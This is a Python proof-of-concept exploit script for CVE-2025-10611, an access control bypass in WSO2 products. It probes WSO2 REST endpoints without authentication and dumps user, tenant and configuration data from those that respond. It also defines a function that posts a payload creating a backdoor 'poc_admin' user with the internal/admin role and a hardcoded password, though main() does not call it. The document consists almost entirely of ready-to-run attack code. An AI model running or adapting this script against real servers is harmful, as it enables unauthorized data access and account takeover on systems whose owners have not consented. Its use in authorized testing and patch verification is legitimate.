#!/usr/bin/env python3
# CVE-2025-10611 - WSO2 REST API Access Control Bypass PoC
# This PoC demonstrates how to exploit the insufficient access control
# vulnerability in WSO2 products to access protected REST APIs without authentication.
import requests
import sys
import json
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class WSO2Exploit:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def check_vulnerability(self):
"""Check if the target is vulnerable by accessing protected APIs without auth"""
# Common WSO2 API endpoints that may be affected
test_endpoints = [
'/api/server/v1/configs',
'/api/server/v1/users',
'/api/server/v1/tenants',
'/carbon/admin/login.jsp',
'/services/Version',
'/api/am/publisher/v1/apis',
'/t/carbon.super/api/server/v1/users'
]
print(f"[*] Checking vulnerability on: {self.target_url}")
for endpoint in test_endpoints:
url = f"{self.target_url}{endpoint}"
try:
response = self.session.get(url, timeout=10)
# If we get 200 OK without authentication, the target is vulnerable
if response.status_code == 200:
print(f"[+] VULNERABLE - Endpoint accessible without auth: {endpoint}")
print(f"[+] Response: {response.text[:200]}")
return True, endpoint
elif response.status_code == 401 or response.status_code == 403:
print(f"[-] Protected (expected): {endpoint} - Status: {response.status_code}")
else:
print(f"[?] Unexpected response: {endpoint} - Status: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to {endpoint}: {str(e)}")
return False, None
def exploit_admin_access(self, endpoint):
"""Attempt to gain administrative access through the vulnerable endpoint"""
print(f"\n[*] Attempting to exploit: {endpoint}")
# Attempt to list users
url = f"{self.target_url}{endpoint}"
response = self.session.get(url, timeout=10)
if response.status_code == 200:
print(f"[+] Successfully accessed protected resource!")
try:
data = response.json()
print(f"[+] Retrieved data: {json.dumps(data, indent=2)[:500]}")
except:
print(f"[+] Raw response: {response.text[:500]}")
return True
return False
def create_admin_user(self, tenant_path='/t/carbon.super'):
"""Attempt to create a new admin user via the vulnerable API"""
url = f"{self.target_url}{tenant_path}/api/server/v1/users"
payload = {
"user": {
"username": "poc_admin",
"password": "P@ssw0rd!2025",
"claims": [
{"uri": "http://wso2.org/claims/givenname", "value": "POC"},
{"uri": "http://wso2.org/claims/emailaddress", "value": "
[email protected]"},
{"uri": "http://wso2.org/claims/lastname", "value": "Admin"}
],
"profile": {
"roles": [{"id": "internal/admin", "name": "admin"}]
}
}
}
try:
response = self.session.post(url, json=payload, timeout=10)
if response.status_code in [200, 201]:
print(f"[+] Admin user created successfully!")
return True
else:
print(f"[-] Failed to create user. Status: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error: {str(e)}")
return False
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://wso2.example.com:9443")
sys.exit(1)
target = sys.argv[1]
exploit = WSO2Exploit(target)
is_vulnerable, endpoint = exploit.check_vulnerability()
if is_vulnerable:
print("\n[!] Target appears to be VULNERABLE to CVE-2025-10611")
if endpoint:
exploit.exploit_admin_access(endpoint)
else:
print("\n[-] Target does not appear to be vulnerable")
if __name__ == "__main__":
main()